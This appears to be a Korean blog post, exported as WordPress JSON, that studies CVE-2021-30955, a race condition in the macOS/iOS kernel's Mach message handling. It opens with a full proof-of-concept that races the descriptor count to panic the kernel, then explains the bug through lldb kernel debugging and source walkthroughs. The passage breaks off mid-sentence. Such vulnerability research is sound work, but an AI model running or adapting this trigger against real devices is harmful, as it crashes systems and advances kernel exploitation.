{"id":4097,"date":"2026-01-30T02:31:05","date_gmt":"2026-01-29T17:31:05","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4097"},"modified":"2026-01-30T02:31:08","modified_gmt":"2026-01-29T17:31:08","slug":"%ec%8b%a4%ec%8a%b5-cve-2021-30955-%ec%9d%b5%ec%8a%a4%ed%94%8c%eb%a1%9c%ec%9e%87%ed%95%b4%eb%b3%b4%ea%b8%b0","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4097","title":{"rendered":"[\uc2e4\uc2b5] CVE-2021-30955 \uc775\uc2a4\ud50c\ub85c\uc787\ud574\ubcf4\uae30"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30<\/h1>\n<ul>\n<li>poc.m<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;pthread\/pthread.h&gt;\n#include &lt;mach\/mach.h&gt;\n\nstruct ool_msg  {\n    mach_msg_header_t hdr;\n    mach_msg_body_t body;\n    mach_msg_ool_ports_descriptor_t ool_ports[];\n};\n\nmach_port_t new_mach_port() {\n    mach_port_t port = MACH_PORT_NULL;\n    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;port);\n    if (ret) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);\n    if (ret) {\n        printf(&quot;[-] failed to insert right\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_limits_t limits = {0};\n    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;\n    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&amp;limits, MACH_PORT_LIMITS_INFO_COUNT);\n    if (ret) {\n        printf(&quot;[-] failed to increase queue limit\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    return port;\n}\n\n#define N_DESC 1\n#define N_PORTS 0\n#define N_CORRUPTED 0x1000\n\nstruct ool_msg *msg;\nmach_port_t dest, target;\n\nvoid race_thread() {\n    while (1) {\n        \/\/ change the descriptor count back and forth\n        \/\/ eventually the race will work just right so we get this order of actions:\n        \/\/ count = N_DESC -&gt; first copyin -&gt; count = N_CORRUPTED -&gt; second copyin\n        msg-&gt;body.msgh_descriptor_count = N_CORRUPTED;\n        msg-&gt;body.msgh_descriptor_count = N_DESC;\n    }\n}\n\nvoid main_thread() {\n    while (1) {\n        \/\/ create a mach port where we'll send the message\n        dest = new_mach_port();\n    \n        \/\/ send\n        msg-&gt;hdr.msgh_remote_port = dest;\n        int ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg-&gt;hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n        if (ret) printf(&quot;error: %s\\n&quot;, mach_error_string(ret));\n    \n        \/\/ destroy the port to trigger the panic\n        \/\/ note: don't receieve the message, that'll override ikm_header and stop the crash from happening\n        printf(&quot;Destroying...\\n&quot;);\n        mach_port_destroy(mach_task_self(), dest);\n        printf(&quot;Dead yet?\\n&quot;);\n    }\n}\n\nvoid poc() {\n    printf(&quot;Crashing kernel...\\n&quot;);\n    \n    \/\/ create a dummy port to send with the message\n    target = new_mach_port();\n    \n    mach_port_t* ports = malloc(sizeof(mach_port_t) * N_PORTS);\n    for (int i = 0; i &lt; N_PORTS; i++) {\n        ports[i] = target;\n    }\n    \n    \/\/ set up an OOL ports message\n    \/\/ make the size N_CORRUPTED because it's bigger, otherwise the message won't send and return an error.\n    \/\/ this will make the allocation bigger but we don't care about that as the out of bounds will be done to the left of the buffer, not to the right\n    msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);\n    msg-&gt;hdr.msgh_remote_port = 0;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_id = 0x41414141;\n    \n    \/\/ set the initial (smaller) descriptor count\n    msg-&gt;body.msgh_descriptor_count = N_DESC;\n    \n    for (int i = 0; i &lt; N_DESC; i++) {\n        msg-&gt;ool_ports[i].address = ports;\n        msg-&gt;ool_ports[i].count = N_PORTS;\n        msg-&gt;ool_ports[i].deallocate = 0;\n        msg-&gt;ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;\n        msg-&gt;ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n        msg-&gt;ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;\n    }\n    \n    \/\/ start the threads\n    pthread_t thread, thread2;\n    pthread_create(&amp;thread, NULL, (void*)race_thread, NULL);\n    pthread_create(&amp;thread2, NULL, (void*)main_thread, NULL);\n    \n    pthread_join(thread, NULL);\n}\n\nint main(void) {\n    poc();\n    return 0;\n}\n<\/code><\/pre>\n<p>\uba3c\uc800, poc \ucf54\ub4dc\uc5d0\uc11c <code>race_thread()<\/code> \uc911\n\ucde8\uc57d\uc810 \ud2b8\ub9ac\uac70\ub85c \uc778\ud55c \ud328\ub2c9 \ubc29\uc9c0\ub97c \uc704\ud574\uc11c <code>msg-&gt;body.msgh_descriptor_count = N_CORRUPTED;<\/code>  \ucf54\ub4dc\ub9cc \uc8fc\uc11d\ucc98\ub9ac\ud558\uace0,\n<code>mach_msg<\/code> \ud638\ucd9c\uc804 printf \/ getchar \uad00\ub828 \ucf54\ub4dc\ub97c \ucd94\uac00\ud558\uc600\ub2e4.<\/p>\n<p>\uc774\ub294 <code>mach_msg<\/code>\ub97c \ud638\ucd9c\ud560\ub54c\uc5d0, \ucee4\ub110\uc5d0\uc11c \uc5b4\ub5bb\uac8c \ucc98\ub9ac\ud558\ub294\uc9c0 \uc0c1\uc138\ud558\uac8c \uc54c\uc544\ubcf4\uae30 \uc704\ud574 \uc77c\ubd80\ub7ec \ucd94\uac00\ud558\uc600\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">void race_thread() {\n    while (1) {\n        \/\/ change the descriptor count back and forth\n        \/\/ eventually the race will work just right so we get this order of actions:\n        \/\/ count = N_DESC -&gt; first copyin -&gt; count = N_CORRUPTED -&gt; second copyin\n        \/\/ msg-&gt;body.msgh_descriptor_count = N_CORRUPTED;\n        msg-&gt;body.msgh_descriptor_count = N_DESC;\n    }\n}\n...\nvoid main_thread() {\n    while (1) {\n        \/\/ create a mach port where we'll send the message\n        dest = new_mach_port();\n    \n        \/\/ send\n        msg-&gt;hdr.msgh_remote_port = dest;\u3161\n        printf(&quot;will going to call mach_msg... msg = %p, msg-&gt;hdr.msgh_size = 0x%x, press enter to continue\\n&quot;, msg, msg-&gt;hdr.msgh_size);\n        getchar();\n        int ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg-&gt;hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n        ...       \n}\n<\/code><\/pre>\n<p><code>mach_msg_overwrite_trap<\/code> \ud568\uc218 \uc8fc\uc18c\ub294 0xfffffe00182174d0\uc774\uba70,<\/p>\n<pre><code class=\"language-cpp\">...\nTarget 0: (kernel.kasan.vmapple) stopped.\n(lldb) p\/x mach_msg_overwrite_trap\n(mach_msg_return_t (*)(mach_msg_overwrite_trap_args *)) 0xfffffe00182174d0 (kernel.kasan.vmapple`mach_msg_overwrite_trap at mach_msg.c:321)\n<\/code><\/pre>\n<p>\ud504\ub85c\uadf8\ub7a8\uc744 \uc2e4\ud589\uc2dc\ud0a4\uba74 mach_msg\ub97c \ud1b5\ud574 \uc804\ub2ec\ub418\ub294 \uc720\uc800\uc2a4\ud398\uc774\uc2a4\uc758 msg \uc8fc\uc18c\ub294 0x130008000\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">...\nwill going to call mach_msg... msg = 0x130008000, msg-&gt;hdr.msgh_size = 0x1001c, press enter to continue\n<\/code><\/pre>\n<p>\uc774\ub7ec\ud55c \uc810\uc744 \ucc38\uace0\ud558\uc5ec \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uc5b4\ubcf8\ub2e4.\n\uadf8\ub9ac\uace0 \ud504\ub85c\uadf8\ub7a8 \ucf54\ub4dc\uc758 getchar\uc744 \ub118\uc5b4\uac00\uba74, \uc544\ub798\uc640 \uac19\uc774 \uba48\ucd98\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) br s -a 0xfffffe00182174d0 -c '*(unsigned long long *)$x0 == 0x130008000'\nBreakpoint 22: where = kernel.kasan.vmapple`mach_msg_overwrite_trap at mach_msg.c:321, address = 0xfffffe00182174d0\nProcess 1 stopped\n* thread #2, name = 'CPU1', stop reason = breakpoint 22.1\n    frame #0: 0xfffffe00182174d0 kernel.kasan.vmapple`mach_msg_overwrite_trap(args=0xfffffe302cb0fd20) at mach_msg.c:321 [opt]\nTarget 0: (kernel.kasan.vmapple) stopped.\n(lldb) \n<\/code><\/pre>\n<p>\uc720\uc800\ub808\ubca8\uc5d0\uc11c <code>mach_msg<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74\uc740, \ucee4\ub110\uc5d0\uc11c\ub294 <code>mach_msg_overwrite_trap<\/code> \uc5d0\uc11c \ucc98\ub9ac\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p><code>mach_msg_overwrite_trap<\/code> \ud568\uc218\ub85c \uc804\ub2ec\ub418\ub294 \uc778\uc790\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uad6c\uc131\ub41c\ub2e4.<\/p>\n<p>\uc778\uc790 \ud0c0\uc785\uc740 <code>struct mach_msg_overwrite_trap_args *<\/code> \uc774\uba70,\n<code>msg<\/code> \ud544\ub4dc\uc5d0\ub294 poc \ucf54\ub4dc\uc5d0\uc11c\uc758 <code>struct ool_msg *msg;<\/code> \ub0b4\uc6a9\uc744 \ub9cc\ub4e4\uae30 \uc704\ud574 \ud560\ub2f9\ub41c \uc8fc\uc18c\uac00 \ub4e4\uc5b4\uac00\uace0,\n<code>option<\/code> \ud544\ub4dc\uc5d0\ub294 <code>MACH_SEND_MSG<\/code>(1)\uc774 \ub4e4\uc5b4\uac04\ub2e4. \uc774\ub294 poc \ucf54\ub4dc\uc5d0\uc11c\uc758 <code>mach_msg<\/code> \ub97c \ud638\ucd9c\ud560\ub54c\uc5d0 <code>option<\/code> \uc778\uc790\ub85c <code>MACH_SEND_MSG | MACH_MSG_OPTION_NONE<\/code> \uac00 \ub4e4\uc5b4\uac14\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p><code>send_size<\/code> \ud544\ub4dc\ub3c4 \ub9c8\ucc2c\uac00\uc9c0\ub85c, <code>mach_msg<\/code> \ub97c \ud638\ucd9c\ud560\ub54c\uc5d0 <code>msg-&gt;hdr.msgh_size<\/code> \uac00 \uadf8\ub300\ub85c \uc804\ub2ec\ub418\uc5b4 \uac12\uc774 \ub098\ud0c0\ub09c\ub2e4.<\/p>\n<p>\uc989, <code>mach_msg_overwrite_trap<\/code>  \ud568\uc218\ub294 \uc720\uc800\ub808\ubca8\uc5d0\uc11c \ucee4\ub110\ub85c \uba54\uc2dc\uc9c0\ub97c \ubcf5\uc0ac\ud558\ub294 \uc5ed\ud560\uc744 \ub2f4\ub2f9\ud55c\ub2e4\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/32gx $x0\n0xfffffe302cb0fd20: 0x0000000130008000 0x0000000000000001\n0xfffffe302cb0fd30: 0x000000000001001c 0x0000000000000000\n0xfffffe302cb0fd40: 0x0000000000000000 0x0000000000000000\n0xfffffe302cb0fd50: 0x0000000000000000 0x0000000000000000\n0xfffffe302cb0fd60: 0x0000000000000000 0xfffffe0017d5f2e2\n...\n\n(lldb) p\/x *(struct mach_msg_overwrite_trap_args *)$x0\n(struct mach_msg_overwrite_trap_args) {\n  msg_l_ = {}\n  msg = 0x0000000130008000\n  msg_r_ = {}\n  option_l_ = {}\n  option = 0x00000001\n  option_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  send_size_l_ = {}\n  send_size = 0x0001001c\n  send_size_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  rcv_size_l_ = {}\n  rcv_size = 0x00000000\n  rcv_size_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  rcv_name_l_ = {}\n  rcv_name = 0x00000000\n  rcv_name_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  timeout_l_ = {}\n  timeout = 0x00000000\n  timeout_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  priority_l_ = {}\n  priority = 0x00000000\n  priority_r_ = {\n    [0] = 0x00\n    [1] = 0x00\n    [2] = 0x00\n    [3] = 0x00\n  }\n  rcv_msg_l_ = {}\n  rcv_msg = 0x0000000000000000\n  rcv_msg_r_ = {}\n}\n<\/code><\/pre>\n<p><code>option<\/code> \uc778\uc790\ub97c <code>MACH_SEND_MSG<\/code>\uc73c\ub85c \uc8fc\uc5c8\uae30 \ub54c\ubb38\uc5d0 \ud574\ub2f9 \uc870\uac74\ubb38\uc744 \uba3c\uc800 \uc0b4\ud3b4\ubcf8\ub2e4.<\/p>\n<p><code>ipc_kmsg_get_from_user<\/code>\uc744 \ud638\ucd9c\ud558\ub294\uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. \ud574\ub2f9 \ud568\uc218\uc5d0\uc11c\ub294 size \uc778\uc790\uc5d0 \ub300\ud574 \uba87 \uac00\uc9c0 \uac80\uc0ac\ub97c \uc218\ud589\ud55c \ub4a4, <code>len_copied<\/code>  \ubcc0\uc218\ub97c \uacc4\uc0b0\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <code>mach_msg_user_header_t<\/code>\ub294 \ubf08\ub300\ub9cc \uc788\ub294 \uae30\ubcf8 \ud5e4\ub354\uc77c \ubfd0\uc774\uba70(\uc774 \uacbd\uc6b0 \uba54\uc2dc\uc9c0\ub294 \ube44\uc5b4 \uc788\uac8c \ub429\ub2c8\ub2e4),\n\ubc18\uba74 <code>mach_msg_user_base_t<\/code>\ub294 \ud5e4\ub354\uc5d0 4\ubc14\uc774\ud2b8\ub97c \ub354\ud55c \uac83\uc73c\ub85c, \uc774\ub294 \ube44\uc5b4 \uc788\uc9c0 \uc54a\uc740 \uba54\uc2dc\uc9c0\uac00 \uac00\uc9c8 \uc218 \uc788\ub294 \ucd5c\uc18c \ud06c\uae30\uac00 \ub41c\ub2e4.<\/p>\n<p><code>len_copied<\/code> \ubcc0\uc218\ub97c \uacc4\uc0b0\ud55c \ud6c4\uc5d0\ub294, <code>copyinmsg<\/code>\ub97c \ud1b5\ud574 \uc720\uc800\ub79c\ub4dc\ub85c\ubd80\ud130 \ubca0\uc774\uc2a4\ub97c \ubcf5\uc0ac\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-07_19.43.10.excalidraw_copy.png\" alt=\"Drawing 2026-01-07 19.43.10.excalidraw copy.png\"><\/p>\n<p>\ucc38\uace0\ub85c, \ubcf5\ud569 \uba54\uc2dc\uc9c0(complex messages; \uc6d0\uc2dc \ub370\uc774\ud130 \uc678\uc5d0\ub3c4 descriptor \uad6c\uc870\uccb4 \ub0b4\uc5d0 \ud3ec\ud568\ub41c Mach \ud3ec\ud2b8\ub3c4 \uac00\uc9c8 \uc218 \uc788\ub294 \uba54\uc2dc\uc9c0)\uc758 \uacbd\uc6b0, \uadf8 \ucd94\uac00 4\ubc14\uc774\ud2b8\ub294 <code>mach_msg_body_t<\/code> \uad6c\uc870\uccb4\uac00 \ucc28\uc9c0\ud558\uba70, \uc774 \uad6c\uc870\uccb4\ub294 \ub2e8 \ud558\ub098\uc758 \ud544\ub4dc\ub85c \uad6c\uc131\ub41c\ub2e4.<\/p>\n<p>\ud574\ub2f9 descriptor count\ub294 \uc6b0\ub9ac\uac00 \uc804\uc1a1\ud560 descriptor \uad6c\uc870\uccb4\uc758 \uc218\ub97c \uc9c0\uc815\ud558\uba70, \uc2e4\uc81c \ubcf8\ubb38 \ub370\uc774\ud130\ub294 \uc774 \ud544\ub4dc \ubc14\ub85c \ub4a4\uc5d0 \uc628\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uc758 \uacbd\uc6b0 \ubcf5\ud569 \uba54\uc2dc\uc9c0(complex messages)\uc5d0 \uad00\uc2ec\uc774 \uc788\uc73c\ubbc0\ub85c, \uc9c0\uae08\ubd80\ud130\ub294 \ud574\ub2f9 \uacbd\uc6b0\ub97c \uc804\uc81c\ud558\uaca0\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-07_19.43.10.excalidraw_1.png\" alt=\"Drawing 2026-01-07 19.43.10.excalidraw 1.png\"><\/p>\n<p>\uc544\ubb34\ud2bc \uc55e\uc11c \uc124\uba85\ud588\ub358\uac83\ucc98\ub7fc,\n\uc544\ub798\uc640 \uac19\uc774 <code>copyinmsg<\/code>\ub97c \ud1b5\ud574 \uc720\uc800 \ub79c\ub4dc(userland)\ub85c\ubd80\ud130 \ubca0\uc774\uc2a4\ub97c \ubcf5\uc0ac\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">if (copyinmsg(msg_addr, (char *)&amp;user_base, len_copied)) {\n\treturn MACH_SEND_INVALID_DATA;\n}\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, descriptor count\uac00 \ubcc0\uc218\uc5d0 \uc800\uc7a5\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.38.32_PM.png\" alt=\"Screenshot 2026-01-08 at 1.38.32\u202fPM.png\"><\/p>\n<p>\uadf8\ub7ec\uace0 \ub098\uc11c \uc774 \ucf54\ub4dc\uc5d0 \ub3c4\ub2ec\ud558\uac8c \ub41c\ub2e4. (\uae30\uc5b5\ud574 \ub450\uae30):\n<code>msg_addr += sizeof(user_base.header)<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.39.56_PM.png\" alt=\"Screenshot 2026-01-08 at 1.39.56\u202fPM.png\"><\/p>\n<p>\uadf8 \uc548\uc5d0\uc11c, <code>msg_addr<\/code>(\uba54\uc2dc\uc9c0\uc758 \uc0ac\uc6a9\uc790 \uacf5\uac04 \uc8fc\uc18c)\uc740 \ud5e4\ub354\ub97c \uc774\ubbf8 \uc77d\uc5c8\ub2e4\ub294 \uc810, \uadf8\ub9ac\uace0 (\uc774\uc5b4\uc9c0\ub294 \uba87 \uc904\uc758 \ucf54\ub4dc\uc5d0\uc11c \ubcfc \uc218 \uc788\ub4ef\uc774) \uc774\uc81c \ubcf8\ubb38 \ub370\uc774\ud130\ub97c \uc77d\uc744 \ucc28\ub840\ub77c\ub294 \uc810\uc744 \ubc18\uc601\ud558\uc5ec \ubcc0\uacbd\ub41c\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc \ubcf8\ubb38\uc744 \uc77d\uae30 \uc804\uc5d0, \uc9c0\uae08\uae4c\uc9c0 \uc77d\uc740 \ub0b4\uc6a9\uc744 \ubc14\ud0d5\uc73c\ub85c \ub370\uc774\ud130\ub97c \ub2f4\uc744 \ucda9\ubd84\ud55c \uacf5\uac04\uc744 \ud560\ub2f9\ud574\uc57c\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.41.37_PM.png\" alt=\"Screenshot 2026-01-08 at 1.41.37\u202fPM.png\"><\/p>\n<p><code>ipc_kmsg_alloc<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uba74, \uc5ec\uae30\uc11c \uc804\ub2ec\ub418\ub294 \uc778\uc790\ub294 (\ucee4\ub110\uacfc \uc720\uc800 \ub79c\ub4dc \uac04\uc758 \ud5e4\ub354 \ud06c\uae30 \ucc28\uc774\ub97c \ubc18\uc601\ud558\uc5ec \uc870\uc815\ub41c) \uba54\uc2dc\uc9c0\uc758 \ud06c\uae30, \uadf8\ub9ac\uace0 \ubcf8\ubb38 \uad6c\uc870\uccb4\uc5d0\uc11c \uac00\uc838\uc628 descriptor count(\ub2e8\uc21c \uba54\uc2dc\uc9c0\uc758 \uacbd\uc6b0 0)\uc774\ub2e4.<\/p>\n<p>\ucc98\uc74c \uba87 \uc904\uc740 \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc740\ub370, \uba3c\uc800, \uc804\uccb4 \ud06c\uae30 \ucc28\uc774\ub97c \uacc4\uc0b0\ud558\uae30 \uc704\ud574  descriptor count (<code>user_descs<\/code>)\uc5d0 <code>USER_DESC_MAX_DELTA<\/code>\ub97c \uacf1\ud55c \ub4a4 \uadf8 \uac12\uc744 <code>max_delta<\/code>\uc5d0 \uc800\uc7a5\ud55c\ub2e4. \uc5ec\uae30\uc11c <code>USER_DESC_MAX_DELTA<\/code>\ub294 \ucee4\ub110\uacfc \uc720\uc800 \ub79c\ub4dc \uac04\uc758 descriptor \uad6c\uc870\uccb4 \ud06c\uae30 \ucc28\uc774\uc774\ub2e4.<\/p>\n<p>\uadf8 \ub2e4\uc74c, \ub370\uc774\ud130\ub97c \ud560\ub2f9\ud558\ub294 \ub370 \uc0ac\uc6a9\ub420 \ucd5c\uc885 \ud06c\uae30\ub97c \uacc4\uc0b0\ud558\uae30 \uc704\ud574 <code>size<\/code>\uc640 <code>max_delta<\/code>\ub97c (\uc6b0\ub9ac\uc640\ub294 \uad00\ub828 \uc5c6\ub294 \uc0c1\uc218\uc778 <code>MAX_TRAILER_SIZE<\/code>\uc640 \ud568\uaed8) \ub354\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.45.49_PM.png\" alt=\"Screenshot 2026-01-08 at 1.45.49\u202fPM.png\"><\/p>\n<p>\uc0ac\uc6a9\ub420 \ucd5c\uc885 \ud06c\uae30\ub97c \uacc4\uc0b0\ud55c \uc774\ud6c4\uc5d0\ub294 <code>kalloc_data<\/code> \ub97c \ud638\ucd9c\ud558\uc5ec \ud560\ub2f9\ud55c\ub2e4.\n\uadf8\ub7ec\uba74 \ub370\uc774\ud130\uc640 \ud06c\uae30\ub294 <code>ipc_kmsg<\/code> \uad6c\uc870\uccb4(\uba54\uc2dc\uc9c0 \ub4f1\uc744 \ud3ec\ud568\ud558\ub294 \ucee4\ub110 \uad6c\uc870\uccb4)\uc5d0 \uc800\uc7a5\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.47.59_PM.png\" alt=\"Screenshot 2026-01-08 at 1.47.59\u202fPM.png\"><\/p>\n<p><code>ikm_set_header<\/code> \ud568\uc218\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uc218\ud589\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.50.45_PM.png\" alt=\"Screenshot 2026-01-08 at 1.50.45\u202fPM.png\"><\/p>\n<p>\uc6b0\ub9ac\uac00 \uadf8 \uac12\ub4e4\uc5d0 \ub300\ud574 \uc54c\uace0 \uc788\ub294 \uc0ac\uc2e4\uc744 \ubc14\ud0d5\uc73c\ub85c \uacc4\uc0b0\uc744 \uc880 \ud574\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/image.png\" alt=\"image.png\"><\/p>\n<p>\ub530\ub77c\uc11c <code>ikm_header<\/code>\ub294 \uc6b0\ub9ac\uc758 \ub370\uc774\ud130 \ud560\ub2f9 \uc601\uc5ed + \ucee4\ub110\uacfc \uc720\uc800 \ub79c\ub4dc \uac04 descriptor \uad6c\uc870\uccb4\ub4e4\uc758 \ud06c\uae30 \ucc28\uc774\uc758 \ucd1d\ud569\uc73c\ub85c \uc124\uc815\ub41c\ub2e4. \uc774\ub85c \uc778\ud574 <code>ikm_header<\/code> \ubc14\ub85c \uc55e\uc5d0 \ube48 \uacf5\uac04(gap)\uc774 \ub0a8\uac8c \ub418\ub294\ub370, \uc774\uac83\uc774 \uc774\uc0c1\ud558\uac8c \ub4e4\ub9b4 \uc218\ub3c4 \uc788\uaca0\uc9c0\ub9cc, \uc774 \ub2e8\uacc4\uc5d0\uc11c\ub294 \uc544\uc9c1 \uad6c\uc870\uccb4 \ud06c\uae30 \ucc28\uc774\ub97c \uba54\uc6b0\uae30 \uc704\ud55c \uc5b4\ub5a0\ud55c \uc870\uc815\ub3c4 \uc218\ud589\ub418\uc9c0 \uc54a\uc740 \ucc44 \ub370\uc774\ud130\uac00 \uc720\uc800 \ub79c\ub4dc\uc5d0\uc11c \ucee4\ub110\ub85c \u2018\uc788\ub294 \uadf8\ub300\ub85c\u2019 \ubcf5\uc0ac\ub418\uace0 \uc788\ub2e4\ub294 \uc810\uc744 \uae30\uc5b5\ud574\uc57c\ud55c\ub2e4. \ub098\uc911\uc5d0 \ubcf4\uba74 \uc54c\uaca0\uc9c0\ub9cc, \ub370\uc774\ud130\uc5d0 \ud544\uc694\ud55c \ubcc0\uacbd \uc791\uc5c5\uc774 \uc644\ub8cc\ub41c \ud6c4\uc5d0\ub294 \uadf8 \ube48 \uacf5\uac04\uc744 \ucc44\uc6b0\uae30 \uc704\ud574 <code>ikm_header<\/code>\uac00 \uacb0\uad6d \ub4a4\ucabd\uc73c\ub85c \uc774\ub3d9\ud558\uac8c \ub420 \uac83\uc774\ub2e4.<\/p>\n<p><code>ipc_kmsg_get_from_user<\/code>\ub85c \ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, \uba54\uc2dc\uc9c0\uac00 \ud560\ub2f9\ub41c \ud6c4 \ucf54\ub4dc\ub294 \uc0c8\ub85c \ud560\ub2f9\ub41c <code>ikm_header<\/code>\uc5d0 \ud5e4\ub354 \ud544\ub4dc\ub4e4\uc744 \uc124\uc815\ud558\uace0, \uc774\uc5b4\uc11c \uba54\uc2dc\uc9c0 \ubcf8\ubb38\uc744 \uc77d\uc5b4 <code>kmsg-&gt;ikm_header + 1<\/code>(\uc989, \ud5e4\ub354 \ubc14\ub85c \ub2e4\uc74c)\uc5d0 \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<p><strong><code>msg_addr<\/code>\uac00 <code>sizeof(user_base.header)<\/code>\ub9cc\ud07c \ubcc0\uacbd\ub418\uc5c8\ub358 \uc810\uc744 \uae30\uc5b5\ud558\ub294\uac00?<\/strong>\n\uc774 \ub450 \ubc88\uc9f8 <code>copyinmsg<\/code>\ub294 descriptor count\ub97c \ub2e4\uc2dc \ud55c \ubc88 \uc77d\uc5b4\ub4e4\uc5ec <code>ikm_header<\/code>\uc5d0 \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-08_at_1.53.15_PM.png\" alt=\"Screenshot 2026-01-08 at 1.53.15\u202fPM.png\"><\/p>\n<p>\ud558\uc9c0\ub9cc \uc774 \uc0ac\uc774\uc5d0 descriptor count\uac00 \ubcc0\uacbd\ub41c\ub2e4\uba74 \uc5b4\ub5bb\uac8c \ub420\uae4c? \uc798\ubabb\ub41c \uac1c\uc218\uac00 \ub300\uc2e0 \uc800\uc7a5\ub420 \uac83\uc774\ub2e4!\n\uc774\ub7ec\ud55c \uc885\ub958\uc758 \uacbd\uc7c1 \uc0c1\ud0dc(race condition)\ub294 <strong>TOCTOU(Time-of-Check Time-of-Use, \uac80\uc0ac \uc2dc\uc810\uacfc \uc0ac\uc6a9 \uc2dc\uc810\uc758 \ubd88\uc77c\uce58)\ub77c\uace0<\/strong> \uc54c\ub824\uc838 \uc788\ub294\ub370, \uc774\ub294 